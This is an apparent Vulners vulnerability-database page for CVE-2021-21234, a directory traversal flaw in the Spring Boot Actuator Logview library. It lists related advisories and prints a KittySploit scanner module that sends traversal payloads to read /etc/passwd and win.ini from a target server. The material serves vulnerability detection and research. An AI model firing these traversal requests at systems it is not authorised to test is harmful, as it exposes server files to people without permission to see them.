Spring Boot Actuator Logview Directory Traversal Detection
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Exploit for Code Injection in Pivotal_Software Spring_Data_Commons | 6 Dec 202510:58 | – | githubexploit | |
| Exploit for Code Injection in Pivotal_Software Spring_Data_Commons | 9 Apr 202612:22 | – | githubexploit | |
| CVE-2021-21234 | 5 Jan 202118:15 | – | attackerkb | |
| CVE-2021-21234 | 5 Jan 202120:52 | – | circl | |
| Lukashinsch Spring Boot Actuator Logview Path Traversal Vulnerability | 5 Jan 202100:00 | – | cnnvd | |
| CVE-2021-21234 | 5 Jan 202117:30 | – | cve | |
| CVE-2021-21234 Directory Traversal | 5 Jan 202117:30 | – | cvelist | |
| Directory Traversal in spring-boot-actuator-logview | 5 Jan 202117:29 | – | github | |
| CVE-2021-21234 | 15 Oct 202614:20 | – | kitploit | |
| CVE-2021-21234 | 15 Oct 202613:13 | – | kitploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""spring-boot-actuator-logview before version 0."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Spring Boot Actuator Logview Directory Traversal Detection',
'description': 'spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package "eu.hinsch:spring-boot-actuator-logview".',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2021', 'springboot', 'lfi', 'actuator', 'spring-boot-actuator-logview_project', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 4,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234',
'https://github.com/cristianeph/vulnerability-actuator-log-viewer',
'https://nvd.nist.gov/vuln/detail/CVE-2021-21234',
'https://github.com/lukashinsch/spring-boot-actuator-logview/commit/760acbb939a8d1f7d1a7dfcd51ca848eea04e772',
'https://github.com/lukashinsch/spring-boot-actuator-logview/commit/1c76e1ec3588c9f39e1a94bf27b5ff56eb8b17d6',
],
'cve': 'CVE-2021-21234',
}
def run(self):
for path in ('/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../', '/log/view?filename=/windows/win.ini&base=../../../../../../../../../../', '/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../', '/log/view?filename=/etc/passwd&base=../../../../../../../../../../'):
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_any = ('bit app support', 'fonts', 'extensions',)
header_any = ('text/plain',)
body_regexes = ('root:.*:0:0:',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)) and (any(re.search(rx, body) for rx in body_regexes)):
self.set_info(
severity='high',
reason='Spring Boot Actuator Logview Directory Traversal detected',
path=path,
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
7.5High risk
Vulners AI Score7.5
CVSS 24
CVSS 3.17.7
EPSS0.21011